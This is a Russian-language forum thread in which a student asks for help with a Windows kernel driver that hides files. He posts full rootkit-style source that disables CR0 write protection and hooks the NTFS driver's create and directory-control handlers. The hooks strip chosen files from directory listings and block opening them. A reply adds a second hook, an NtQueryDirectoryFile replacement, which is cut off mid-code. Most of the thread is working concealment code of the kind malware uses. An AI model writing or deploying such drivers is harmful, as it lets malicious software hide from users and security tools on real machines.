Помоги написать драйвер для сокрытия файлов

Всем привет

При выборе темы курсового проекта по системному программированию я заинтересовался сокрытием файлов, так как это представлялось интересной, новой и весьма сложной темой. Я пытался разобраться сам, прочитал книгу про руткиты под windows, но появились проблемы, т.к. в системном программировании я пока новичок. Выкладываю свой код, там есть ошибки линковки (:

Вот код, сначала пытался сам написать, потом нашел этот. Хотелось бы услышать ваши замечания, исправления.
Если у кого есть рабочий драйвер (WDM / legacy не принципиально) буду очень благодарен, если дадите код. В благодарность могу быть полезен в области математичекого моделирования )

Код (Text):

1. extern "C" {
2. #include <ntddk.h>
3. }
4. #include <stdio.h>
5. #include "debug.h"
6. #include "driver.h"
7. #include "undocnt.h"
8.  
9. extern PVOID IoDriverObjectType;
10.  
11. PPROTECT_RULE PrtFindRule(PWSTR object);
12.  
13. PDRIVER_OBJECT  pTargetDrvObj;
14. UNICODE_STRING dos_dev_name, dev_name;
15.  
16. typedef NTSTATUS (__stdcall * IRP_FUNC)(
17.     PDEVICE_OBJECT DeviceObject, PIRP Irp
18. );
19.  
20. KMUTEX RulesMutex;
21.  
22. IRP_FUNC OldCreate;
23. IRP_FUNC OldDirectoryControl;
24. //--------------------------------------------------------------------------------------
25. NTSTATUS Process_Dir(wchar_t *pDirName, PFILE_DIRECTORY_INFORMATION pInf)
26. {
27.     NTSTATUS ns = STATUS_SUCCESS;
28.     wchar_t FullPath[255];
29.     PFILE_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf;
30.  
31.     while (pFileInfo)
32.     {
33.         RtlZeroMemory(FullPath, sizeof(FullPath));
34.        
35.         wcscpy(FullPath, pDirName);
36.  
37.         if (pDirName[wcslen(pDirName) - 1] != '\\')
38.             wcscat(FullPath, L"\\");
39.        
40.         wcsncat(FullPath, pFileInfo->FileName,
41.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
42.  
43.         if (PrtFindRule(FullPath))
44.         {
45.             // DbgMsg("%S - PROTECTED\n", FullPath);
46.  
47.             if (pPrevFileInfo)
48.             {
49.                 if (pFileInfo->NextEntryOffset)
50.                 {
51.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
52.                 } else {
53.                     *(PULONG)pInf = 0;
54.                     return ns;
55.                 }
56.             } else {
57.                 if (pFileInfo->NextEntryOffset)
58.                 {
59.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
60.                 } else {
61.                     ns = STATUS_NO_SUCH_FILE;
62.                 }
63.             }  
64.         }
65.  
66.         if (pFileInfo->NextEntryOffset)
67.         {
68.             pPrevFileInfo = pFileInfo;
69.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
70.         } else {
71.             pFileInfo = NULL;
72.         }
73.     }
74.    
75.     return ns;
76. }
77. //--------------------------------------------------------------------------------------
78. NTSTATUS Process_Full(wchar_t *pDirName, PFILE_FULL_DIRECTORY_INFORMATION pInf)
79. {
80.     NTSTATUS ns = STATUS_SUCCESS;
81.     wchar_t FullPath[255];
82.     PFILE_FULL_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf;
83.  
84.     while (pFileInfo)
85.     {
86.         RtlZeroMemory(FullPath, sizeof(FullPath));
87.        
88.         wcscpy(FullPath, pDirName);
89.  
90.         if (pDirName[wcslen(pDirName) - 1] != '\\')
91.             wcscat(FullPath, L"\\");
92.        
93.         wcsncat(FullPath, pFileInfo->FileName,
94.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
95.  
96.         if (PrtFindRule(FullPath))
97.         {
98.             // DbgMsg("%S - PROTECTED\n", FullPath);
99.  
100.             if (pPrevFileInfo)
101.             {
102.                 if (pFileInfo->NextEntryOffset)
103.                 {
104.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
105.                 } else {
106.                     *(PULONG)pInf = 0;
107.                     return ns;
108.                 }
109.             } else {
110.                 if (pFileInfo->NextEntryOffset)
111.                 {
112.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
113.                 } else {
114.                     ns = STATUS_NO_SUCH_FILE;
115.                 }
116.             }  
117.         }
118.  
119.         if (pFileInfo->NextEntryOffset)
120.         {
121.             pPrevFileInfo = pFileInfo;
122.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
123.         } else {
124.             pFileInfo = NULL;
125.         }
126.     }
127.    
128.     return ns;
129. }
130. //--------------------------------------------------------------------------------------
131. NTSTATUS Process_Both(wchar_t *pDirName, PFILE_BOTH_DIRECTORY_INFORMATION pInf)
132. {
133.     NTSTATUS ns = STATUS_SUCCESS;
134.     wchar_t FullPath[255];
135.     PFILE_BOTH_DIRECTORY_INFORMATION pPrevFileInfo, pFileInfo = pInf;
136.  
137.     while (pFileInfo)
138.     {
139.         RtlZeroMemory(FullPath, sizeof(FullPath));
140.        
141.         wcscpy(FullPath, pDirName);
142.  
143.         if (pDirName[wcslen(pDirName) - 1] != '\\')
144.             wcscat(FullPath, L"\\");
145.        
146.         wcsncat(FullPath, pFileInfo->FileName,
147.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
148.  
149.         if (PrtFindRule(FullPath))
150.         {
151.             // DbgMsg("%S - PROTECTED\n", FullPath);
152.  
153.             if (pPrevFileInfo)
154.             {
155.                 if (pFileInfo->NextEntryOffset)
156.                 {
157.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
158.                 } else {
159.                     *(PULONG)pInf = 0;
160.                     return ns;
161.                 }
162.             } else {
163.                 if (pFileInfo->NextEntryOffset)
164.                 {
165.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
166.                 } else {
167.                     ns = STATUS_NO_SUCH_FILE;
168.                 }
169.             }  
170.         }
171.  
172.         if (pFileInfo->NextEntryOffset)
173.         {
174.             pPrevFileInfo = pFileInfo;
175.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
176.         } else {
177.             pFileInfo = NULL;
178.         }
179.     }
180.    
181.     return ns;
182. }
183. //--------------------------------------------------------------------------------------
184. NTSTATUS Process_Names(wchar_t *pDirName, PFILE_NAMES_INFORMATION pInf)
185. {
186.     NTSTATUS ns = STATUS_SUCCESS;
187.     wchar_t FullPath[255];
188.     PFILE_NAMES_INFORMATION pPrevFileInfo, pFileInfo = pInf;
189.  
190.     while (pFileInfo)
191.     {
192.         RtlZeroMemory(FullPath, sizeof(FullPath));
193.        
194.         wcscpy(FullPath, pDirName);
195.  
196.         if (pDirName[wcslen(pDirName) - 1] != '\\')
197.             wcscat(FullPath, L"\\");
198.        
199.         wcsncat(FullPath, pFileInfo->FileName,
200.             min(pFileInfo->FileNameLength / 2, sizeof(FullPath) - wcslen(FullPath)));
201.  
202.         if (PrtFindRule(FullPath))
203.         {
204.             // DbgMsg("%S - PROTECTED\n", FullPath);
205.  
206.             if (pPrevFileInfo)
207.             {
208.                 if (pFileInfo->NextEntryOffset)
209.                 {
210.                     pPrevFileInfo->NextEntryOffset += pFileInfo->NextEntryOffset;
211.                 } else {
212.                     *(PULONG)pInf = 0;
213.                     return ns;
214.                 }
215.             } else {
216.                 if (pFileInfo->NextEntryOffset)
217.                 {
218.                     *(PULONG)pInf += pFileInfo->NextEntryOffset;
219.                 } else {
220.                     ns = STATUS_NO_SUCH_FILE;
221.                 }
222.             }  
223.         }
224.  
225.         if (pFileInfo->NextEntryOffset)
226.         {
227.             pPrevFileInfo = pFileInfo;
228.             *(ULONG*)&pFileInfo += pFileInfo->NextEntryOffset;
229.         } else {
230.             pFileInfo = NULL;
231.         }
232.     }
233.    
234.     return ns;
235. }
236. //------------------------------------------------------------------------------
237. // Обработка запроса IRP_MJ_CREATE который посылается при открытии устройства приложением
238. NTSTATUS __stdcall NewCreate(PDEVICE_OBJECT DeviceObject, PIRP Irp)
239. {
240.     PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp);
241.  
242.     if (MmIsAddressValid(stack->FileObject))
243.     {
244.  
245.         if (MmIsAddressValid(stack->FileObject->FileName.Buffer))
246.         {
247.             // DbgMsg("IRP_MJ_CREATE : %S\n", stack->FileObject->FileName.Buffer);
248.  
249.             if (PrtFindRule(stack->FileObject->FileName.Buffer))
250.                 return STATUS_UNSUCCESSFUL;
251.         }
252.     }
253.  
254.     return OldCreate(DeviceObject, Irp);
255. }
256. //------------------------------------------------------------------------------
257. // Обработка запроса IRP_MJ_DIRECTORY_CONTROL
258. NTSTATUS __stdcall NewDirectoryControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
259. {
260.     NTSTATUS ns;
261. PIO_STACK_LOCATION stack = IoGetCurrentIrpStackLocation(Irp); //стек запросов
262.     PQUERY_DIRECTORY QueryDir = (PQUERY_DIRECTORY)&stack->Parameters;
263.     FILE_INFORMATION_CLASS FileInformationClass = QueryDir->FileInformationClass;//тип возвращаемой информации о директории
264.  
265.     wchar_t DirName[255];
266.  
267.     if (stack->MinorFunction == IRP_MN_QUERY_DIRECTORY)
268.     {
269.         if (MmIsAddressValid(stack->FileObject))
270.         {
271.             if (MmIsAddressValid(stack->FileObject->FileName.Buffer))
272.             {
273.                 // DbgMsg("IRP_MJ_DIRECTORY_CONTROL : %S (FileInformationClass: %d)\n",
274.                 //  stack->FileObject->FileName.Buffer, FileInformationClass);
275.  
276.                 wcsncpy(DirName, stack->FileObject->FileName.Buffer,
277.                     min(sizeof(DirName), stack->FileObject->FileName.Length));
278.  
279.         ns = OldDirectoryControl(DeviceObject, Irp);//вызов ZwQueryDirectoryFile
280.  
281.                 if (ns == STATUS_SUCCESS)
282.                 {
283.                     switch (FileInformationClass)
284.                     {
285.                     case FileDirectoryInformation:
286.                         return Process_Dir(DirName,                (PFILE_DIRECTORY_INFORMATION)Irp->UserBuffer);
287.  
288.                     case FileFullDirectoryInformation:
289.                         return Process_Full(DirName, (PFILE_FULL_DIRECTORY_INFORMATION)Irp->UserBuffer);
290.  
291.                     case FileBothDirectoryInformation:
292.                         return Process_Both(DirName, (PFILE_BOTH_DIRECTORY_INFORMATION)Irp->UserBuffer);
293.  
294.                     case FileNamesInformation:
295.                         return Process_Names(DirName, (PFILE_NAMES_INFORMATION)Irp->UserBuffer);
296.                     }
297.                 }
298.  
299.                 return ns;
300.             }
301.         }
302.     }
303.  
304.     return OldDirectoryControl(DeviceObject, Irp);
305. }
306. //--------------------------------------------------------------------------------------
307. // compare two strings from the end (returns number of equal characters)
308. unsigned int r_wcsncmp(wchar_t *str1, wchar_t *str2)
309. {
310.     unsigned int i, len1 = wcslen(str1), len2 = wcslen(str2);
311.     for (i = 0; i < min(len1, len2); i++)
312.     {
313.         if (str1[len1-i] != str2[len2-i])
314.             return 0;
315.     }
316.     return i;
317. }
318. //--------------------------------------------------------------------------------------
319. // first and last rules in list
320. PPROTECT_RULE r_first = NULL, r_last = NULL;
321. // find rule by type and object name
322. PPROTECT_RULE PrtFindRule(PWSTR object)
323. {
324.     PPROTECT_RULE r = r_first;
325.  
326.     NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL);
327.     if (!NT_SUCCESS(ns))
328.     {
329.         // DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns);
330.         return NULL;
331.     }
332.  
333.     __try
334.     {
335.         while (r)
336.         {
337.             if (r_wcsncmp(r->name, object))
338.                 __leave;
339.    
340.             r = (PPROTECT_RULE)r->r_next;
341.         }
342.  
343.         r = NULL;
344.     }
345.     __finally
346.     {
347.         KeReleaseMutex(&RulesMutex, FALSE);
348.     }
349.  
350.     return r;
351. }
352. //--------------------------------------------------------------------------------------
353. // delete some rule
354. BOOLEAN PrtDelRule(PWSTR object)
355. {
356.     BOOLEAN bRet = FALSE;
357.     PPROTECT_RULE r;
358.  
359.     NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL);
360.     if (!NT_SUCCESS(ns))
361.     {
362.         // DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns);
363.         return bRet;
364.     }
365.  
366.     __try
367.     {
368.         r = PrtFindRule(object);
369.         if (r == NULL)
370.         {
371.             // DbgMsg("PrtDelRule() : Rule not found\n");
372.             __leave;
373.         }
374.  
375.         if (r->r_prev)
376.             ((PPROTECT_RULE)(r->r_prev))->r_next = r->r_next;
377.  
378.         if (r->r_next)
379.             ((PPROTECT_RULE)(r->r_next))->r_prev = r->r_prev;
380.  
381.         if (r_first == r)
382.             r_first = (PPROTECT_RULE)r->r_next;
383.  
384.         if (r_last == r)
385.             r_last = (PPROTECT_RULE)r->r_prev;
386.  
387.         // DbgMsg("PrtDelRule() : 0x%.8x deleted! (object name: %S)\n", object);
388.  
389.         ExFreePool(r);
390.  
391.         bRet = TRUE;
392.     }
393.     __finally
394.     {
395.         KeReleaseMutex(&RulesMutex, FALSE);
396.     }
397.  
398.     return bRet;
399. }
400. //--------------------------------------------------------------------------------------
401. // Создание нового правила о скрытии файла
402. BOOLEAN PrtAddRule(PWSTR object)
403. {
404.     BOOLEAN bRet = FALSE;
405.     PPROTECT_RULE r;
406.  
407.     NTSTATUS ns = KeWaitForMutexObject(&RulesMutex, Executive, KernelMode, FALSE, NULL);
408.     if (!NT_SUCCESS(ns))
409.     {
410.         // DbgMsg("KeWaitForMutexObject() ERROR : 0x%.8x\n", ns);
411.         return FALSE;
412.     }
413.  
414.     __try
415.     {
416.         // если уже существует
417.         r = PrtFindRule(object);
418.         if (r)
419.         {
420.             // DbgMsg("PrtAddRule() : Allready exists\n");
421.             __leave;
422.         }
423.  
424.         r = (PPROTECT_RULE)ExAllocatePool(NonPagedPool,sizeof(PROTECT_RULE));
425.         if (r == NULL)
426.         {
427.             // DbgMsg("ExAllocatePool() ERROR\n");
428.             __leave;
429.         }
430.  
431.         RtlZeroMemory(r, sizeof(PROTECT_RULE));
432.  
433.         wcsncpy(r->name, object, min(wcslen(object), 255));
434.              
435.         if (r_last)
436.         {
437.             r_last->r_next = (ULONG)r;
438.             r->r_prev = (ULONG)r_last;
439.             r_last = r;
440.         }
441. else
442. {
443.             r_last = r_first = r;  
444.         }
445.  
446.         // DbgMsg("PrtAddRule() : Rule added! (object name: %S)\n", object);
447.  
448.         bRet = TRUE;
449.     }
450.     __finally
451.     {
452.         KeReleaseMutex(&RulesMutex, FALSE);
453.     }
454.    
455.     return bRet;
456. }
457. //--------------------------------------------------------------------------------------
458. // Обработчик всех IRP
459. NTSTATUS DeviceControlRoutine(PDEVICE_OBJECT DeviceObject, PIRP Irp)
460. {
461.     PIO_STACK_LOCATION stack;
462.     NTSTATUS ns = STATUS_SUCCESS;
463.     ULONG code, ret = 0;
464.     PIRP notify_irp;
465.     PREQUEST_BUFFER buf_req, buf_res;
466.  
467.     Irp->IoStatus.Status = ns;
468.     Irp->IoStatus.Information = 0;
469.  
470. //получение указателя на область памяти, в которой располагается Irp-пакет
471.     stack = IoGetCurrentIrpStackLocation(Irp);
472.  
473.     if (stack->MajorFunction == IRP_MJ_DEVICE_CONTROL)
474.     {
475.         code = stack->Parameters.DeviceIoControl.IoControlCode;
476.        
477.             buf_req = buf_res = (PREQUEST_BUFFER)Irp->AssociatedIrp.SystemBuffer;
478.  
479.         // DbgMsg("IRP_MJ_DEVICE_CONTROL : 0x%.8x\n", code);
480.  
481.         Irp->IoStatus.Information = sizeof(REQUEST_BUFFER);
482.  
483.         switch (code)
484.         {
485. //если получено сообщение скрыть или открыть файл
486.         case IOCTL_PROTECT_FILE:
487.             if (buf_req->protect_object.active)
488.             {
489. buf_res->status = PrtAddRule(buf_req->protect_object.name);
490.             }
491. else
492. {
493.                 buf_res->status = PrtDelRule(buf_req->protect_object.name);
494.             }
495.             break;
496.  
497.         default:
498.             ns = STATUS_INVALID_DEVICE_REQUEST;
499.             buf_res->status = 0;
500.             Irp->IoStatus.Information = 0;
501.             break;
502.         }
503.     }
504.  
505.     if (ns != STATUS_PENDING)
506.     {
507.         IoCompleteRequest(Irp, IO_NO_INCREMENT);
508.         Irp->IoStatus.Status = ns;
509.     }
510.  
511.     return ns;
512. }
513. //--------------------------------------------------------------------------------------
514. // Функция выгрузки драйвера
515. NTSTATUS DriverUnload(IN PDRIVER_OBJECT DriverObject)
516. {  
517.     // DbgMsg("DriverUnload()\n");
518.  
519. // Отключаем защиту ядра от записи
520.  
521.     __asm
522.     {
523.         cli
524.         mov     eax,cr0 ; грузим управляющий регистр cr0 в регистр eax
525.         and     eax,not 000010000h; сбрасываем бит WP, запрещающий запись
526.         mov     cr0,eax ; обновляем управляющий регистр cr0
527.     }
528.  
529. // Восстанавливаем старые обработчики
530.     InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE], (ULONG)OldCreate);
531.     InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL], (ULONG)OldDirectoryControl);
532.  
533. // Восстанавливаем защиту ядра от записи
534.  
535.     __asm
536.     {
537.         mov     eax,cr0
538.         or      eax,000010000h        
539.         mov     cr0,eax
540.         sti          
541.     }
542.  
543.     // DbgMsg("IRP_MJ_CREATE: Restored to 0x%.8x\n", OldCreate);
544.     // DbgMsg("IRP_MJ_DIRECTORY_CONTROL: Restored to 0x%.8x\n", OldDirectoryControl);
545.  
546. // удаляем символическую ссылку и устройство
547.     IoDeleteDevice(DriverObject->DeviceObject);
548.  
549.     IoDeleteSymbolicLink(&dos_dev_name);
550.  
551.     return STATUS_SUCCESS;
552. }
553. //--------------------------------------------------------------------------------------
554. /*
555.  
556.  Точка входа драйвера
557.  
558.     DriverObject указатель на объект-драйвер, соответствующий            загружаемому драйверу;
559.  
560.     RegistryPath - указатель на строку в формате Unicode с именем   ключа реестра, соответствующего загружаемому драйверу.
561.  
562.     Если возвращается успешный статус завершения, диспетчер    ввода/вывода немедленно позволяет производить обработку   запросов к объектам-устройствам, созданным драйвером. Во всех   остальных случаях драйвер не загружается в память, и запросы к  нему не передаются.
563. */
564. extern "C"
565. {
566. NTSTATUS DriverEntry(IN PDRIVER_OBJECT  DriverObject,
567.         IN PUNICODE_STRING RegistryPath
568. )
569. {  
570.     NTSTATUS ns = STATUS_SUCCESS;
571.     UNICODE_STRING DevName;
572.     wchar_t wc_dev_name[512], wc_dos_dev_name[512];
573.  
574.      //  Инициализация объекта драйвера и его точек входа.
575. //-------------------------------------------------------------------
576.     PDEVICE_OBJECT dev_obj;
577.  
578.     // DbgMsg("DriverEntry()\n");
579. //регистрация функции DriverUnload
580.     DriverObject->DriverUnload = (PDRIVER_UNLOAD)DriverUnload;
581.  
582.     swprintf(wc_dev_name, L"\\Device\\%s", DEVICE_NAME);
583.     swprintf(wc_dos_dev_name, L"\\DosDevices\\%s", DEVICE_NAME);
584.    
585.     RtlInitUnicodeString(&dev_name, wc_dev_name);
586.     RtlInitUnicodeString(&dos_dev_name, wc_dos_dev_name);
587.  
588. //  Выделение памяти под необходимые структуры  
589.     ns = IoCreateDevice
590.     (DriverObject,          // Наш драйвер устройства
591.     0,
592.     &dev_name,              // Имя устройства
593.     FILE_DEVICE_UNKNOWN,        // Тип устройства
594.     FILE_DEVICE_SECURE_OPEN,    // Свойство для создания дескрипторов всех   //запросов(менеджер ввода-вывода следит за //безопасностью операций)
595.     FALSE,                  // Особое устройство.
596.                             //Драйвер обрабатывает только одного клиента
597.    &dev_obj);               //Возвращает указатель на объект устройства
598. //--------------------------------------------------------------------
599.  
600. //  Если создание устройства прошло без ошибок…
601.  
602.     if (NT_SUCCESS(ns))
603.     {
604.  
605.  
606. /*
607.  
608. Соответствующим элементам массива DriverObject->MajorFunction
609. присваиваются   адреса поддерживаемых функций.
610.  
611. */
612.  
613.         DriverObject->MajorFunction[IRP_MJ_CREATE]         = NewCreate;
614.         // DriverObject->MajorFunction[IRP_MJ_CLOSE]          =
615.         DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = DeviceControlRoutine;
616.         DriverObject->MajorFunction[IRP_MJ_DIRECTORY_CONTROL] = NewDirectoryControl;
617.  
618.         dev_obj->Flags |= DO_BUFFERED_IO;
619.  
620.         IoDeleteSymbolicLink(&dos_dev_name);
621.            
622. //создание символьной ссылки на действительное имя устройства
623.         ns = IoCreateSymbolicLink(&dos_dev_name, &dev_name);
624.  
625.         if (!NT_SUCCESS(ns))
626.         {
627.             // DbgMsg("IoCreateSymbolicLink() fails : 0x%.8x\n", ns);
628.             IoDeleteDevice(DriverObject->DeviceObject);
629.             return ns;
630.         }
631.     }
632.  
633. else {
634.         // DbgMsg("IoCreateDevice() fails : 0x%.8x\n", ns);
635.         return ns;
636.     }
637.  
638. //инициализируем мьютекс для синхронизации
639.  
640.     KeInitializeMutex(&RulesMutex, 0);
641.  
642.     RtlInitUnicodeString(&DevName, L"\\FileSystem\\Ntfs");
643.      // возвращает указатель, используя имя объекта
644.     ns = ObReferenceObjectByName(&DevName, OBJ_CASE_INSENSITIVE, NULL, 0, (POBJECT_TYPE)IoDriverObjectType, KernelMode, NULL,   (PVOID *)&pTargetDrvObj);
645.  
646.     if (!NT_SUCCESS(ns))
647.     {
648.         // DbgMsg("ObReferenceObjectByName() fails : 0x%.8x\n", ns);
649.  
650.         return ns;
651.     }
652.  
653.     // Отключаем защиту ядра от записи
654.  
655.     __asm
656.     {
657.         cli
658.         mov     eax,cr0 ; грузим управляющий регистр cr0 в регистр eax
659.         and     eax,not 000010000h; сбрасываем бит WP, запрещающий запись
660.         mov     cr0,eax ; обновляем управляющий регистр cr0
661.     }
662. //  Заменяем обработчики на наши функции
663.     OldCreate = (IRP_FUNC)InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_CREATE], (ULONG)NewCreate);
664.     OldDirectoryControl = (IRP_FUNC)InterlockedExchange((PLONG)&pTargetDrvObj->MajorFunction[IRP_MJ_DIRECTORY_CONTROL], (ULONG)NewDirectoryControl);
665.  
666. // Восстанавливаем защиту ядра от записи
667.     __asm
668.     {
669.         mov     eax,cr0
670.         or      eax,000010000h        
671.         mov     cr0,eax
672.         sti          
673.     }
674.  
675.     // DbgMsg("IRP_MJ_CREATE: Old func 0x%.8x; New func 0x%.8x\n", OldCreate, NewCreate);
676.     // DbgMsg("IRP_MJ_DIRECTORY_CONTROL: Old func 0x%.8x; New func 0x%.8x\n", OldDirectoryControl, NewDirectoryControl);
677.  
678.     return STATUS_SUCCESS;
679. }
680. }
681. //--------------------------------------------------------------------------------------

Буду очень рад услышать ваши замечания. Так же помогите разобраться, почему драйвер не компилится?

 

я тебе на руткитсах ответил

 

если не затруднит можно ссылку на ответ?
а то тоже этой темой интересуюсь.

 

Код (Text):

1. NTSTATUS RkNtQueryDirectoryFile(IN HANDLE  FileHandle,
2.                                 IN HANDLE  Event  OPTIONAL,
3.                                 IN PIO_APC_ROUTINE  ApcRoutine  OPTIONAL,
4.                                 IN PVOID  ApcContext  OPTIONAL,
5.                                 OUT PIO_STATUS_BLOCK  IoStatusBlock,
6.                                 OUT PVOID  FileInformation,
7.                                 IN ULONG  Length,
8.                                 IN FILE_INFORMATION_CLASS  FileInformationClass,
9.                                 IN BOOLEAN  ReturnSingleEntry,
10.                                 IN PUNICODE_STRING  FileName  OPTIONAL,
11.                                 IN BOOLEAN  RestartScan)
12. {
13.     PFILE_DIRECTORY_INFORMATION         LastFileDirectoryInfo, FileDirectoryInfo;        
14.     PFILE_FULL_DIRECTORY_INFORMATION    LastFileFullDirectoryInfo, FileFullDirectoryInfo;
15.     PFILE_BOTH_DIRECTORY_INFORMATION    LastFileBothDirectoryInfo, FileBothDirectoryInfo;
16.     PFILE_NAMES_INFORMATION             LastFileNamesInfo, FileNamesInfo;                
17.     NTSTATUS    Result;
18.     BOOLEAN     WasHidden = FALSE;
19.  
20.     Result = TrueNtQueryDirectoryFile(FileHandle,
21.                                       Event,
22.                                       ApcRoutine,
23.                                       ApcContext,
24.                                       IoStatusBlock,
25.                                       FileInformation,
26.                                       Length,
27.                                       FileInformationClass,
28.                                       ReturnSingleEntry,
29.                                       FileName,
30.                                       RestartScan);
31.  
32.     if(NT_SUCCESS(Result))
33.     {
34.         switch(FileInformationClass)
35.         {
36.             case FileDirectoryInformation :
37.             {
38.                 FileDirectoryInfo = (PFILE_DIRECTORY_INFORMATION)FileInformation;
39.                 while(IsFileHidden(FileDirectoryInfo->FileName, FileDirectoryInfo->FileNameLength))
40.                 {
41.                     if(FileDirectoryInfo->NextEntryOffset != 0)
42.                     {
43.                         if(((PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset))->NextEntryOffset != 0)
44.                             ((PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset))->NextEntryOffset += FileDirectoryInfo->NextEntryOffset;
45.                         RtlCopyMemory(FileDirectoryInfo,
46.                                      (PVOID)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset),
47.                                      sizeof(PFILE_DIRECTORY_INFORMATION) + ((PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset))->FileNameLength - 2);
48.                     }
49.                     else
50.                         return STATUS_NO_MORE_FILES;
51.                 }
52.                 while(FileDirectoryInfo->NextEntryOffset > 0)
53.                 {
54.                     if(!WasHidden)
55.                         LastFileDirectoryInfo = FileDirectoryInfo;
56.                     WasHidden = FALSE;
57.                     FileDirectoryInfo = (PFILE_DIRECTORY_INFORMATION)((ULONG)FileDirectoryInfo + FileDirectoryInfo->NextEntryOffset);
58.                     if(IsFileHidden(FileDirectoryInfo->FileName, FileDirectoryInfo->FileNameLength))
59.                     {
60.                         if(FileDirectoryInfo->NextEntryOffset > 0)
61.                         {
62.                             LastFileDirectoryInfo->NextEntryOffset += FileDirectoryInfo->NextEntryOffset;
63.                             WasHidden = TRUE;
64.                         }
65.                         else
66.                             LastFileDirectoryInfo->NextEntryOffset = 0;
67.                     }
68.                 }
69.                 break;
70.             }
71.             case FileFullDirectoryInformation :
72.             {
73.                 FileFullDirectoryInfo = (PFILE_FULL_DIRECTORY_INFORMATION)FileInformation;
74.                 while(IsFileHidden(FileFullDirectoryInfo->FileName, FileFullDirectoryInfo->FileNameLength))
75.                 {
76.                     if(FileFullDirectoryInfo->NextEntryOffset != 0)
77.                     {
78.                         if(((PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset))->NextEntryOffset != 0)
79.                             ((PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset))->NextEntryOffset += FileFullDirectoryInfo->NextEntryOffset;
80.                         RtlCopyMemory(FileFullDirectoryInfo,
81.                                      (PVOID)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset),
82.                                      sizeof(PFILE_FULL_DIRECTORY_INFORMATION) + ((PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset))->FileNameLength - 2);
83.                     }
84.                     else
85.                         return STATUS_NO_MORE_FILES;
86.                 }
87.                 while(FileFullDirectoryInfo->NextEntryOffset > 0)
88.                 {
89.                     if(!WasHidden)
90.                         LastFileFullDirectoryInfo = FileFullDirectoryInfo;
91.                     WasHidden = FALSE;
92.                     FileFullDirectoryInfo = (PFILE_FULL_DIRECTORY_INFORMATION)((ULONG)FileFullDirectoryInfo + FileFullDirectoryInfo->NextEntryOffset);
93.                     if(IsFileHidden(FileFullDirectoryInfo->FileName, FileFullDirectoryInfo->FileNameLength))
94.                     {
95.                         if(FileFullDirectoryInfo->NextEntryOffset > 0)
96.                         {
97.                             LastFileFullDirectoryInfo->NextEntryOffset += FileFullDirectoryInfo->NextEntryOffset;
98.                             WasHidden = TRUE;
99.                         }
100.                         else
101.                             LastFileFullDirectoryInfo->NextEntryOffset = 0;
102.                     }
103.                 }
104.                 break;
105.             }
106.             case FileBothDirectoryInformation :
107.             {
108.                 FileBothDirectoryInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)FileInformation;
109.                 while(IsFileHidden(FileBothDirectoryInfo->FileName, FileBothDirectoryInfo->FileNameLength))
110.                 {
111.                     if(FileBothDirectoryInfo->NextEntryOffset != 0)
112.                     {
113.                         if(((PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset))->NextEntryOffset != 0)
114.                             ((PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset))->NextEntryOffset += FileBothDirectoryInfo->NextEntryOffset;
115.                         RtlCopyMemory(FileBothDirectoryInfo,
116.                                      (PVOID)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset),
117.                                      sizeof(FILE_BOTH_DIRECTORY_INFORMATION) + ((PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset))->FileNameLength - 2);
118.                     }
119.                     else
120.                         return STATUS_NO_MORE_FILES;
121.                 }
122.                 while(FileBothDirectoryInfo->NextEntryOffset > 0)
123.                 {
124.                     if(!WasHidden)
125.                         LastFileBothDirectoryInfo = FileBothDirectoryInfo;
126.                     WasHidden = FALSE;
127.                     FileBothDirectoryInfo = (PFILE_BOTH_DIRECTORY_INFORMATION)((ULONG)FileBothDirectoryInfo + FileBothDirectoryInfo->NextEntryOffset);
128.                     if(IsFileHidden(FileBothDirectoryInfo->FileName, FileBothDirectoryInfo->FileNameLength))
129.                     {
130.                         if(FileBothDirectoryInfo->NextEntryOffset > 0)
131.                         {
